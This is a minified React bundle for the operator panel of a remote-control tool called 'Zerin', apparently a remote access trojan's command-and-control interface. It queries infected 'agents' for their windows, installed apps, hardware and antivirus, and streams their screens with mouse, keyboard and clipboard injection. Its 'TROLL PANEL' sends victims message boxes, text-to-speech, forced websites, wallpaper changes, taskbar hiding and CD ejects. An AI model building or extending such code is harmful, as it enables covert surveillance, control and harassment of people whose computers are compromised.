w-[200px]",children:"Class"})]})}),s.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:g.map((y,v)=>s.jsxs("tr",{className:"hover:bg-zerin-panel-hover transition-colors",children:[s.jsx("td",{className:"px-4 py-2 font-mono text-xs text-zerin-accent",children:y.hwnd}),s.jsx("td",{className:"px-4 py-2 font-mono text-xs text-zerin-text-dim",children:y.pid}),s.jsx("td",{className:"px-4 py-2 text-xs text-zerin-text truncate max-w-[400px]",children:y.title}),s.jsx("td",{className:"px-4 py-2 font-mono text-xs text-zerin-text-muted truncate",children:y.class})]},`${y.hwnd}-${v}`))})]})}),s.jsxs("div",{className:"px-4 py-2 border-t border-zerin-panel-border text-xs text-zerin-text-muted",children:[g.length," window",g.length!==1?"s":""]})]}):c&&n.length===0?s.jsx("div",{className:"text-center py-12 text-zerin-text-muted text-sm",children:"No visible windows found"}):null:s.jsx("div",{className:"flex items-center justify-center py-16",children:s.jsxs("div",{className:"text-center",children:[s.jsx("div",{className:"w-12 h-12 mx-auto mb-3 bg-zerin-panel-hover flex items-center justify-center",children:s.jsx("svg",{className:"w-6 h-6 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3 8l7.89 5.26a2 2 0 002.22 0L21 8M5 19h14a2 2 0 002-2V7a2 2 0 00-2-2H5a2 2 0 00-2 2v10a2 2 0 002 2z"})})}),s.jsx("p",{className:"text-zerin-text-muted text-sm",children:"Click Refresh to list visible windows on the agent"})]})})]})}function IU({agentId:e,agentStatus:t}){const[n,r]=p.useState([]),[i,a]=p.useState(!1),[o,l]=p.useState(""),[c,u]=p.useState(!1),[d,f]=p.useState(""),[m,h]=p.useState("name"),[x,g]=p.useState("asc"),y=t==="dead",v=p.useRef(null);p.useEffect(()=>()=>{v.current&&clearInterval(v.current)},[]);const b=p.useCallback(async()=>{if(!y){a(!0),l(""),r([]),v.current&&(clearInterval(v.current),v.current=null);try{const{task_id:N}=await Ee(e,{command:"installed_apps"});u(!0);let z=0;const _=30;v.current=setInterval(async()=>{var A;z++;try{const P=(A=(await Un(e)).results)==null?void 0:A.find(I=>I.task_id===N);if(P){if(v.current&&clearInterval(v.current),v.current=null,a(!1),P.error){l(P.error);return}if(P.output)try{const I=JSON.parse(P.output);r(I)}catch{l("Failed to parse installed apps data")}}else z>=_&&(v.current&&clearInterval(v.current),v.current=null,a(!1),l("Timed out waiting for agent response"))}catch{}},2e3)}catch(N){l(N instanceof Error?N.message:"Failed to send command"),a(!1)}}},[e,y]);function w(N){m===N?g(z=>z==="asc"?"desc":"asc"):(h(N),g("asc"))}const k=[...d?n.filter(N=>{const z=d.toLowerCase();return N.name.toLowerCase().includes(z)||N.version.toLowerCase().includes(z)||N.publisher.toLowerCase().includes(z)}):n].sort((N,z)=>{const _=N[m]||"",A=z[m]||"",O=_.localeCompare(A,void 0,{sensitivity:"base"});return x==="asc"?O:-O}),S=({col:N})=>m!==N?null:x==="asc"?s.jsx("svg",{className:"inline w-3 h-3 ml-1 text-zerin-accent",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5 15l7-7 7 7"})}):s.jsx("svg",{className:"inline w-3 h-3 ml-1 text-zerin-accent",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M19 9l-7 7-7-7"})});return s.jsxs("div",{className:"p-6 animate-fade-in",children:[s.jsxs("div",{className:"flex items-center gap-3 mb-4",children:[s.jsxs("button",{onClick:b,disabled:y||i,className:`inline-flex items-center gap-1.5 px-3 py-1.5 text-xs font-medium\r + bg-zerin-accent text-white hover:bg-zerin-accent-hover\r + disabled:opacity-40 disabled:cursor-not-allowed transition-colors`,children:[i?s.jsxs("svg",{className:"animate-spin h-3 w-3",fill:"none",viewBox:"0 0 24 24",children:[s.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),s.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]}):s.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M4 4v5h.582m15.356 2A8.001 8.001 0 004.582 9m0 0H9m11 11v-5h-.581m0 0a8.003 8.003 0 01-15.357-2m15.357 2H15"})}),"Refresh"]}),s.jsxs("div",{className:"relative flex-1 max-w-xs",children:[s.jsx("svg",{className:"absolute left-2.5 top-1/2 -translate-y-1/2 w-3.5 h-3.5 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M21 21l-6-6m2-5a7 7 0 11-14 0 7 7 0 0114 0z"})}),s.jsx("input",{type:"text",value:d,onChange:N=>f(N.target.value),placeholder:"Filter apps...",className:`w-full bg-zerin-bg border border-zerin-panel-border pl-8 pr-3 py-1.5\r + text-xs text-zerin-text placeholder-zerin-text-muted\r + focus:outline-none focus:border-zerin-accent/50 focus:ring-1 focus:ring-zerin-accent/20 transition-all`})]}),y&&s.jsx("span",{className:"text-zerin-danger text-xs",children:"Agent is offline"})]}),o&&s.jsx("div",{className:"bg-zerin-panel border border-zerin-panel-border px-4 py-3 text-xs text-zerin-text-dim mb-4",children:o}),c?k.length>0?s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border overflow-hidden",children:[s.jsx("div",{className:"overflow-x-auto",children:s.jsxs("table",{className:"w-full text-sm",children:[s.jsx("thead",{children:s.jsxs("tr",{className:"border-b border-zerin-panel-border bg-zerin-bg-alt",children:[s.jsxs("th",{onClick:()=>w("name"),className:"text-left px-4 py-2.5 text-zerin-text-muted text-xs font-medium uppercase tracking-wider cursor-pointer hover:text-zerin-text",children:["Name ",s.jsx(S,{col:"name"})]}),s.jsxs("th",{onClick:()=>w("version"),className:"text-left px-4 py-2.5 text-zerin-text-muted text-xs font-medium uppercase tracking-wider cursor-pointer hover:text-zerin-text w-[140px]",children:["Version ",s.jsx(S,{col:"version"})]}),s.jsxs("th",{onClick:()=>w("publisher"),className:"text-left px-4 py-2.5 text-zerin-text-muted text-xs font-medium uppercase tracking-wider cursor-pointer hover:text-zerin-text w-[200px]",children:["Publisher ",s.jsx(S,{col:"publisher"})]}),s.jsxs("th",{onClick:()=>w("install_date"),className:"text-left px-4 py-2.5 text-zerin-text-muted text-xs font-medium uppercase tracking-wider cursor-pointer hover:text-zerin-text w-[120px]",children:["Installed ",s.jsx(S,{col:"install_date"})]})]})}),s.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:k.map((N,z)=>s.jsxs("tr",{className:"hover:bg-zerin-panel-hover transition-colors",children:[s.jsx("td",{className:"px-4 py-2 text-xs text-zerin-text",children:N.name}),s.jsx("td",{className:"px-4 py-2 font-mono text-xs text-zerin-text-dim",children:N.version||"-"}),s.jsx("td",{className:"px-4 py-2 text-xs text-zerin-text-muted truncate",children:N.publisher||"-"}),s.jsx("td",{className:"px-4 py-2 font-mono text-xs text-zerin-text-muted",children:N.install_date||"-"})]},`${N.name}-${z}`))})]})}),s.jsxs("div",{className:"px-4 py-2 border-t border-zerin-panel-border text-xs text-zerin-text-muted",children:[k.length," application",k.length!==1?"s":""]})]}):c&&n.length===0?s.jsx("div",{className:"text-center py-12 text-zerin-text-muted text-sm",children:"No installed applications found"}):null:s.jsx("div",{className:"flex items-center justify-center py-16",children:s.jsxs("div",{className:"text-center",children:[s.jsx("div",{className:"w-12 h-12 mx-auto mb-3 bg-zerin-panel-hover flex items-center justify-center",children:s.jsx("svg",{className:"w-6 h-6 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M20.25 7.5l-.625 10.632a2.25 2.25 0 01-2.247 2.118H6.622a2.25 2.25 0 01-2.247-2.118L3.75 7.5M10 11.25h4M3.375 7.5h17.25c.621 0 1.125-.504 1.125-1.125v-1.5c0-.621-.504-1.125-1.125-1.125H3.375c-.621 0-1.125.504-1.125 1.125v1.5c0 .621.504 1.125 1.125 1.125z"})})}),s.jsx("p",{className:"text-zerin-text-muted text-sm",children:"Click Refresh to list installed applications"})]})})]})}function DU({agentId:e,agentStatus:t}){const[n,r]=p.useState(null),[i,a]=p.useState(!1),[o,l]=p.useState(""),[c,u]=p.useState(!1),d=t==="dead",f=p.useRef(null);p.useEffect(()=>()=>{f.current&&clearInterval(f.current)},[]);const m=p.useCallback(async()=>{if(!d){a(!0),l(""),r(null),f.current&&(clearInterval(f.current),f.current=null);try{const{task_id:h}=await Ee(e,{command:"specs"});u(!0);let x=0;const g=30;f.current=setInterval(async()=>{var y;x++;try{const b=(y=(await Un(e)).results)==null?void 0:y.find(w=>w.task_id===h);if(b){if(f.current&&clearInterval(f.current),f.current=null,a(!1),b.error){l(b.error);return}if(b.output)try{const w=JSON.parse(b.output);r(w)}catch{l("Failed to parse system specs")}}else x>=g&&(f.current&&clearInterval(f.current),f.current=null,a(!1),l("Timed out waiting for agent response"))}catch{}},2e3)}catch(h){l(h instanceof Error?h.message:"Failed to send command"),a(!1)}}},[e,d]);return s.jsxs("div",{className:"p-6 animate-fade-in",children:[s.jsxs("div",{className:"flex items-center gap-3 mb-4",children:[s.jsxs("button",{onClick:m,disabled:d||i,className:`inline-flex items-center gap-1.5 px-3 py-1.5 text-xs font-medium\r + bg-zerin-accent text-white hover:bg-zerin-accent-hover\r + disabled:opacity-40 disabled:cursor-not-allowed transition-colors`,children:[i?s.jsxs("svg",{className:"animate-spin h-3 w-3",fill:"none",viewBox:"0 0 24 24",children:[s.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),s.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]}):s.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M4 4v5h.582m15.356 2A8.001 8.001 0 004.582 9m0 0H9m11 11v-5h-.581m0 0a8.003 8.003 0 01-15.357-2m15.357 2H15"})}),"Refresh"]}),d&&s.jsx("span",{className:"text-zerin-danger text-xs",children:"Agent is offline"})]}),o&&s.jsx("div",{className:"bg-zerin-panel border border-zerin-panel-border px-4 py-3 text-xs text-zerin-text-dim mb-4",children:o}),c?n?s.jsxs("div",{className:"grid grid-cols-1 lg:grid-cols-3 gap-4",children:[s.jsxs("div",{className:"border border-zerin-panel-border overflow-hidden",children:[s.jsx("div",{className:"px-4 py-3 border-b border-zerin-panel-border bg-zerin-bg-alt",children:s.jsxs("h3",{className:"text-sm font-semibold text-zerin-text flex items-center gap-2",children:[s.jsx("svg",{className:"w-4 h-4 text-zerin-accent",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M8.25 3v1.5M4.5 8.25H3m18 0h-1.5M4.5 12H3m18 0h-1.5m-15 3.75H3m18 0h-1.5M8.25 19.5V21M12 3v1.5m0 15V21m3.75-18v1.5m0 15V21m-9-1.5h10.5a2.25 2.25 0 002.25-2.25V6.75a2.25 2.25 0 00-2.25-2.25H6.75A2.25 2.25 0 004.5 6.75v10.5a2.25 2.25 0 002.25 2.25z"})}),"Hardware"]})}),s.jsxs("div",{className:"p-4 space-y-3",children:[s.jsx(Ci,{label:"CPU",value:n.cpu}),s.jsx(Ci,{label:"Cores",value:`${n.cores_physical} physical / ${n.cores_logical} logical`}),s.jsx(Ci,{label:"RAM",value:`${n.ram_total_gb.toFixed(1)} GB total / ${n.ram_available_gb.toFixed(1)} GB free`}),s.jsx(Ci,{label:"GPU",value:n.gpu})]})]}),s.jsxs("div",{className:"border border-zerin-panel-border overflow-hidden",children:[s.jsx("div",{className:"px-4 py-3 border-b border-zerin-panel-border bg-zerin-bg-alt",children:s.jsxs("h3",{className:"text-sm font-semibold text-zerin-text flex items-center gap-2",children:[s.jsx("svg",{className:"w-4 h-4 text-zerin-accent",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M20.25 6.375c0 2.278-3.694 4.125-8.25 4.125S3.75 8.653 3.75 6.375m16.5 0c0-2.278-3.694-4.125-8.25-4.125S3.75 4.097 3.75 6.375m16.5 0v11.25c0 2.278-3.694 4.125-8.25 4.125s-8.25-1.847-8.25-4.125V6.375m16.5 0v3.75m-16.5-3.75v3.75m16.5 0v3.75C20.25 16.153 16.556 18 12 18s-8.25-1.847-8.25-4.125v-3.75m16.5 0c0 2.278-3.694 4.125-8.25 4.125s-8.25-1.847-8.25-4.125"})}),"Storage"]})}),s.jsxs("div",{className:"p-4 space-y-3",children:[n.disks.map((h,x)=>s.jsxs("div",{children:[s.jsxs("div",{className:"flex items-center justify-between text-xs mb-1",children:[s.jsx("span",{className:"font-mono text-zerin-text",children:h.mount}),s.jsxs("span",{className:"text-zerin-text-muted",children:[(h.total_gb-h.free_gb).toFixed(1)," / ",h.total_gb.toFixed(1)," GB"]})]}),s.jsx("div",{className:"w-full h-2 bg-zerin-bg rounded-sm overflow-hidden",children:s.jsx("div",{className:`h-full transition-all ${h.used_pct>90?"bg-zerin-danger":h.used_pct>75?"bg-yellow-500":"bg-zerin-accent"}`,style:{width:`${Math.min(h.used_pct,100)}%`}})}),s.jsxs("div",{className:"text-right text-[10px] text-zerin-text-muted mt-0.5",children:[h.used_pct.toFixed(1),"% used"]})]},`${h.mount}-${x}`)),n.disks.length===0&&s.jsx("p",{className:"text-zerin-text-muted text-xs",children:"No disk info available"})]})]}),s.jsxs("div",{className:"border border-zerin-panel-border overflow-hidden",children:[s.jsx("div",{className:"px-4 py-3 border-b border-zerin-panel-border bg-zerin-bg-alt",children:s.jsxs("h3",{className:"text-sm font-semibold text-zerin-text flex items-center gap-2",children:[s.jsx("svg",{className:"w-4 h-4 text-zerin-accent",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 12.75L11.25 15 15 9.75m-3-7.036A11.959 11.959 0 013.598 6 11.99 11.99 0 003 9.749c0 5.592 3.824 10.29 9 11.623 5.176-1.332 9-6.03 9-11.622 0-1.31-.21-2.571-.598-3.751h-.152c-3.196 0-6.1-1.248-8.25-3.285z"})}),"Software"]})}),s.jsxs("div",{className:"p-4 space-y-3",children:[s.jsx(Ci,{label:"OS",value:n.os}),s.jsx(Ci,{label:"AV",value:n.av}),s.jsx(Ci,{label:"Uptime",value:`${n.uptime_days}d ${n.uptime_hours}h ${n.uptime_minutes}m`})]})]})]}):null:s.jsx("div",{className:"flex items-center justify-center py-16",children:s.jsxs("div",{className:"text-center",children:[s.jsx("div",{className:"w-12 h-12 mx-auto mb-3 bg-zerin-panel-hover flex items-center justify-center",children:s.jsx("svg",{className:"w-6 h-6 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 17.25v1.007a3 3 0 01-.879 2.122L7.5 21h9l-.621-.621A3 3 0 0115 18.257V17.25m6-12V15a2.25 2.25 0 01-2.25 2.25H5.25A2.25 2.25 0 013 15V5.25m18 0A2.25 2.25 0 0018.75 3H5.25A2.25 2.25 0 003 5.25m18 0V12a2.25 2.25 0 01-2.25 2.25H5.25A2.25 2.25 0 013 12V5.25"})})}),s.jsx("p",{className:"text-zerin-text-muted text-sm",children:"Click Refresh to collect system specifications"})]})})]})}function Ci({label:e,value:t}){return s.jsxs("div",{children:[s.jsx("p",{className:"text-zerin-text-muted text-[10px] uppercase tracking-wider mb-0.5",children:e}),s.jsx("p",{className:"text-zerin-text text-sm",children:t})]})}function RU(e,t,n){if(t+8>n)return{cols:0,rows:0,cursorX:0,cursorY:0,numDirty:0,tiles:[]};let r=t;const i=e.getUint8(r);r+=1;const a=e.getUint8(r);r+=1;const o=e.getUint16(r,!0);r+=2;const l=e.getUint16(r,!0);r+=2;const c=e.getUint16(r,!0);r+=2;const u=[];for(let d=0;d(A.current=window.setInterval(()=>{const Y=_.current;u(ee=>ee.fps===Y.fps&&ee.frameCount===Y.frameCount&&ee.dirtyTiles===Y.dirtyTiles&&ee.totalTiles===Y.totalTiles?ee:{fps:Y.fps,frameCount:Y.frameCount,width:Y.width,height:Y.height,lastFrameMs:Y.lastFrameMs,dirtyTiles:Y.dirtyTiles,totalTiles:Y.totalTiles})},500),()=>{A.current&&clearInterval(A.current)}),[]);const U=p.useCallback((Y,ee)=>{h.current||(h.current=document.createElement("canvas"));const C=h.current;return(C.width!==Y||C.height!==ee)&&(C.width=Y,C.height=ee,x.current=null),x.current||(x.current=C.getContext("2d",{willReadFrequently:!1})),{canvas:C,ctx:x.current}},[]),D=p.useRef(new ArrayBuffer(5)),M=p.useRef(new DataView(D.current)),F=p.useCallback(Y=>{var ee;((ee=i.current)==null?void 0:ee.readyState)===WebSocket.OPEN&&!d.current&&i.current.send(Y)},[]),R=p.useMemo(()=>({sendMouseMove:(Y,ee)=>{const C=M.current;C.setUint8(0,1),C.setUint16(1,Y,!0),C.setUint16(3,ee,!0),F(D.current)},sendMouseButton:(Y,ee,C,K)=>{const ne=new ArrayBuffer(7),B=new DataView(ne);B.setUint8(0,2),B.setUint8(1,Y),B.setUint8(2,ee),B.setUint16(3,C,!0),B.setUint16(5,K,!0),F(ne)},sendMouseScroll:(Y,ee,C)=>{const K=new ArrayBuffer(7),ne=new DataView(K);ne.setUint8(0,3),ne.setInt16(1,Y,!0),ne.setUint16(3,ee,!0),ne.setUint16(5,C,!0),F(K)},sendKey:(Y,ee,C)=>{const K=new ArrayBuffer(8),ne=new DataView(K);ne.setUint8(0,4),ne.setUint8(1,Y),ne.setUint16(2,ee,!0),ne.setUint32(4,C,!0),F(K)},sendClipboard:Y=>{const ee=new TextEncoder().encode(Y),C=new ArrayBuffer(5+ee.length),K=new DataView(C);K.setUint8(0,5),K.setUint32(1,ee.length,!0),new Uint8Array(C,5).set(ee),F(C)},setQuality:Y=>{I.current=Y;const ee=new ArrayBuffer(3),C=new DataView(ee);C.setUint8(0,6),C.setUint8(1,1),C.setUint8(2,Y),F(ee)},setViewOnly:Y=>{d.current=Y},sendControl:(Y,ee)=>{const C=new ArrayBuffer(3),K=new DataView(C);K.setUint8(0,6),K.setUint8(1,Y),K.setUint8(2,ee),F(C)}}),[F]),W=p.useCallback(()=>{if(!N2||f.current)return;const Y=new Worker(new URL("/assets/vnc-decode.worker-EPE-JCx4.js",import.meta.url),{type:"module"});Y.onmessage=ee=>{if(ee.data.type==="frame"){const{bitmap:C,width:K,height:ne,cursorX:B,cursorY:ie}=ee.data;m.current(C,K,ne,B,ie)}},f.current=Y},[]),$=p.useCallback(()=>{f.current&&(f.current.terminate(),f.current=null)},[]),H=p.useCallback(()=>{if(N2||b.current!==null)return;const Y=()=>{const ee=y.current,C=g.current,K=w.current;if((ee.length>0||C.length>0)&&K){const{canvas:ne,ctx:B}=U(K.width,K.height);for(const ie of ee)B.fillStyle=`rgb(${ie.r},${ie.g},${ie.b})`,B.fillRect(ie.col*ie.tileSize,ie.row*ie.tileSize,ie.tileSize,ie.tileSize);for(const ie of C)B.drawImage(ie.bitmap,ie.col*ie.tileSize,ie.row*ie.tileSize),ie.bitmap.close();y.current=[],g.current=[],m.current(ne,K.width,K.height,K.cursorX,K.cursorY)}b.current=requestAnimationFrame(Y)};b.current=requestAnimationFrame(Y)},[U]),X=p.useCallback(()=>{b.current!==null&&(cancelAnimationFrame(b.current),b.current=null);for(const Y of g.current)Y.bitmap.close();g.current=[],y.current=[]},[]),se=p.useCallback(()=>{if(O.current!==null)return;const Y=64*1024;O.current=window.setInterval(()=>{const ee=i.current;if(!(!ee||ee.readyState!==WebSocket.OPEN)){if(ee.bufferedAmount>Y&&!P.current){P.current=!0;const C=new ArrayBuffer(3),K=new DataView(C);K.setUint8(0,6),K.setUint8(1,1),K.setUint8(2,30),F(C)}else if(ee.bufferedAmount<=Y/2&&P.current){P.current=!1;const C=new ArrayBuffer(3),K=new DataView(C);K.setUint8(0,6),K.setUint8(1,1),K.setUint8(2,I.current),F(C)}}},250)},[F]),ue=p.useCallback(()=>{O.current!==null&&(clearInterval(O.current),O.current=null),P.current=!1},[]),ge=p.useCallback(()=>{if(i.current)return;const Y=rt();if(!Y)return;const C=`${window.location.protocol==="https:"?"wss:":"ws:"}//${window.location.host}/api/vnc/${e}/ws?mode=${t}&token=${encodeURIComponent(Y)}`,K=new WebSocket(C);K.binaryType="arraybuffer",i.current=K,K.onopen=()=>{l(!0),W(),H(),se()},K.onmessage=ne=>{if(!(ne.data instanceof ArrayBuffer))return;const B=new DataView(ne.data);if(ne.data.byteLength<13)return;const ie=B.getUint16(0,!0),ve=B.getUint16(2,!0),we=Number(B.getBigUint64(4,!0)),_e=B.getUint8(12),L=performance.now(),de=S.current,q=N.current%k;de[q]=L,N.current=q+1,z.current1){const Z=de[(q+1-me+k)%k],fe=(L-Z)/1e3;fe>0&&(te=Math.round((me-1)/fe))}const V=_.current;if(V.frameCount++,V.fps=te,V.width=ie,V.height=ve,V.lastFrameMs=we,_e===1){const Z=RU(B,13,ne.data.byteLength);V.dirtyTiles=Z.numDirty,V.totalTiles=Z.cols*Z.rows;const fe=Z.cols>0?Math.ceil(ie/Z.cols):128,E=Z.tiles.filter(J=>J.codec===1),oe=Z.tiles.filter(J=>J.codec===2);if(f.current){const J=[],pe=E.map(ke=>{const G=ke.data.buffer.slice(ke.data.byteOffset,ke.data.byteOffset+ke.data.byteLength);return J.push(G),{col:ke.col,row:ke.row,data:G}}),be=oe.map(ke=>({col:ke.col,row:ke.row,r:ke.data[0],g:ke.data[1],b:ke.data[2]}));f.current.postMessage({type:"tiles",tiles:pe,solids:be,width:ie,height:ve,cursorX:Z.cursorX,cursorY:Z.cursorY,tileSize:fe},J)}else{w.current={width:ie,height:ve,cursorX:Z.cursorX,cursorY:Z.cursorY};for(const J of oe)y.current.push({col:J.col,row:J.row,r:J.data[0],g:J.data[1],b:J.data[2],tileSize:fe});if(E.length>0){if(j.current){v.current||(v.current=[]);for(const pe of E){const be=v.current.findIndex(ke=>ke.col===pe.col&&ke.row===pe.row);be>=0?v.current[be]={...pe,tileSize:fe}:v.current.push({...pe,tileSize:fe})}return}j.current=!0;let J=E.map(pe=>({...pe,tileSize:fe}));if(v.current&&v.current.length>0){for(const pe of v.current)J.findIndex(ke=>ke.col===pe.col&&ke.row===pe.row)<0&&J.push(pe);v.current=[]}Promise.all(J.map(pe=>{const be=new Blob([pe.data],{type:"image/jpeg"});return createImageBitmap(be).then(ke=>({bitmap:ke,col:pe.col,row:pe.row,tileSize:pe.tileSize}))})).then(pe=>{j.current=!1;for(const be of pe)g.current.push(be)}).catch(()=>{j.current=!1})}}}else{V.dirtyTiles=0,V.totalTiles=0,a.current&&URL.revokeObjectURL(a.current);const Z=new Uint8Array(ne.data,13),fe=new Blob([Z],{type:"image/jpeg"}),E=URL.createObjectURL(fe);a.current=E,m.current(E,ie,ve)}},K.onclose=()=>{l(!1),i.current=null,$(),X(),ue(),r==null||r()},K.onerror=()=>{K.close()}},[e,t,r,W,$,H,X,se,ue]),xe=p.useCallback(()=>{i.current&&(i.current.close(),i.current=null),a.current&&(URL.revokeObjectURL(a.current),a.current=null),$(),X(),ue(),l(!1)},[$,X,ue]);return p.useEffect(()=>()=>{i.current&&(i.current.close(),i.current=null),a.current&&URL.revokeObjectURL(a.current),$(),X(),ue()},[$,X,ue]),{isConnected:o,stats:c,controls:R,connect:ge,disconnect:xe}}function $U({agentId:e}){const t=p.useRef(null),n=p.useRef(null),[r,i]=p.useState(!1),a=p.useRef(!1),[o,l]=p.useState({w:0,h:0}),[c,u]=p.useState(!0),[d,f]=p.useState(null),[m,h]=p.useState(!1),[x,g]=p.useState("Zerin"),[y,v]=p.useState(""),[b,w]=p.useState(!1),[j,k]=p.useState(""),[S,N]=p.useState(!1),[z,_]=p.useState("https://"),[A,O]=p.useState(!1),[P,I]=p.useState(""),[U,D]=p.useState(!1),[M,F]=p.useState(!1),[R,W]=p.useState(!1),[$,H]=p.useState(!1),[X,se]=p.useState(!1),[ue,ge]=p.useState(!1),xe=(te,me="ok")=>{f({text:te,type:me}),setTimeout(()=>f(null),2500)},Y=p.useCallback((te,me,V)=>{a.current||(a.current=!0,i(!0)),l({w:me,h:V});const Z=t.current;if(!Z)return;const fe=Z.getContext("2d");if(fe)if((Z.width!==me||Z.height!==V)&&(Z.width=me,Z.height=V),typeof te=="string"){const E=n.current||new Image;n.current=E,E.onload=()=>fe.drawImage(E,0,0),E.src=te}else te instanceof ImageBitmap?(fe.drawImage(te,0,0),te.close()):fe.drawImage(te,0,0)},[]),{isConnected:ee,stats:C,connect:K}=pv({agentId:e,onFrame:Y}),[ne,B]=p.useState(!1);p.useEffect(()=>{!e||!ne||gx(e).then(()=>K()).catch(()=>{K()})},[e,K,ne]);const ie=async(te,me)=>{try{await Ee(e,{command:te,args:me}),xe(`Sent: ${te}`)}catch{xe(`Failed: ${te}`,"err")}},ve=()=>{const te=!c;u(te),ie("troll_taskbar",[te?"show":"hide"])},we=(te,me,V)=>{const Z=!te;me(Z),ie(V,[Z?"on":"off"])},_e=()=>{y.trim()&&(ie("troll_msgbox",[y,x||"Zerin"]),h(!1),v(""),g("Zerin"))},L=()=>{j.trim()&&(ie("troll_tts",[j]),w(!1),k(""))},de=()=>{if(!(!z.trim()||z==="https://")){if(!/^https?:\/\//i.test(z)){xe("URL must start with http:// or https://","err");return}ie("troll_website",[z]),N(!1),_("https://")}},q=()=>{P.trim()&&(ie("troll_wallpaper",[P]),O(!1),I(""))};return s.jsxs("div",{className:"flex flex-col h-full overflow-hidden",children:[s.jsxs("div",{className:"flex items-center gap-3 px-5 py-2.5 shrink-0 border-b border-[#1a1a20]",style:{background:"linear-gradient(180deg, #111115 0%, #0d0d11 100%)"},children:[s.jsxs("div",{className:"flex items-center gap-2",children:[s.jsx("div",{className:"w-5 h-5 flex items-center justify-center",style:{background:"rgba(239, 68, 68, 0.1)",border:"1px solid rgba(239, 68, 68, 0.2)"},children:s.jsxs("svg",{className:"w-3 h-3",viewBox:"0 0 24 24",fill:"none",stroke:"#ef4444",strokeWidth:2,children:[s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M15.362 5.214A8.252 8.252 0 0112 21 8.25 8.25 0 016.038 7.048 8.287 8.287 0 009 9.6a8.983 8.983 0 013.361-6.867 8.21 8.21 0 003 2.48z"}),s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M12 18a3.75 3.75 0 00.495-7.467 5.99 5.99 0 00-1.925 3.546 5.974 5.974 0 01-2.133-1A3.75 3.75 0 0012 18z"})]})}),s.jsx("span",{className:"font-display text-sm font-semibold tracking-wide text-[#ef4444]/80",children:"TROLL PANEL"})]}),s.jsx("div",{className:"w-px h-4 bg-[#1a1a20]"}),s.jsxs("div",{className:"flex items-center gap-1.5",children:[s.jsx("div",{className:"w-1.5 h-1.5 rounded-full",style:{background:ee&&r?"#22C55E":ee?"#eab308":"#ef4444",boxShadow:ee?"0 0 6px rgba(34,197,94,0.4)":"none"}}),s.jsx("span",{className:"font-mono text-[10px] text-zerin-text-muted",children:ee&&r?"LIVE":ee?"BUFFERING":"CONNECTING"})]}),ee&&s.jsxs(s.Fragment,{children:[s.jsx("div",{className:"w-px h-4 bg-[#1a1a20]"}),s.jsxs("span",{className:"font-mono text-[10px] text-zerin-text-muted",children:[s.jsx("span",{className:"text-zerin-accent",children:C.fps})," FPS"]}),o.w>0&&s.jsxs(s.Fragment,{children:[s.jsx("div",{className:"w-px h-4 bg-[#1a1a20]"}),s.jsxs("span",{className:"font-mono text-[10px] text-zerin-text-muted",children:[o.w,"×",o.h]})]})]}),s.jsx("div",{className:"flex-1"}),s.jsx("span",{className:"font-mono text-[10px] text-zerin-text-muted/40",children:"VIEW ONLY"})]}),s.jsxs("div",{className:"flex flex-1 min-h-0 overflow-hidden",children:[s.jsxs("div",{className:"w-[200px] shrink-0 flex flex-col border-r border-[#1a1a20] overflow-y-auto",style:{background:"#0b0b0f"},children:[s.jsx("div",{className:"px-3 pt-3 pb-2",children:s.jsx("span",{className:"font-mono text-[9px] font-semibold tracking-[0.2em] text-zerin-text-muted/50 uppercase",children:"Actions"})}),s.jsxs("div",{className:"flex flex-col gap-1 px-2 pb-3",children:[s.jsx($s,{icon:s.jsx(BU,{}),label:"Message Box",desc:"Pop up a dialog",color:"#f59e0b",onClick:()=>h(!0)}),s.jsx($s,{icon:s.jsx(FU,{}),label:"Text to Speech",desc:"Read text aloud",color:"#8b5cf6",onClick:()=>w(!0)}),s.jsx($s,{icon:s.jsx(WU,{}),label:"Open Website",desc:"Launch a URL",color:"#06b6d4",onClick:()=>N(!0)}),s.jsx($s,{icon:s.jsx(UU,{}),label:"Wallpaper",desc:"Change background",color:"#10b981",onClick:()=>O(!0)}),s.jsx($s,{icon:s.jsx(VU,{}),label:"CD Tray",desc:"Eject disc 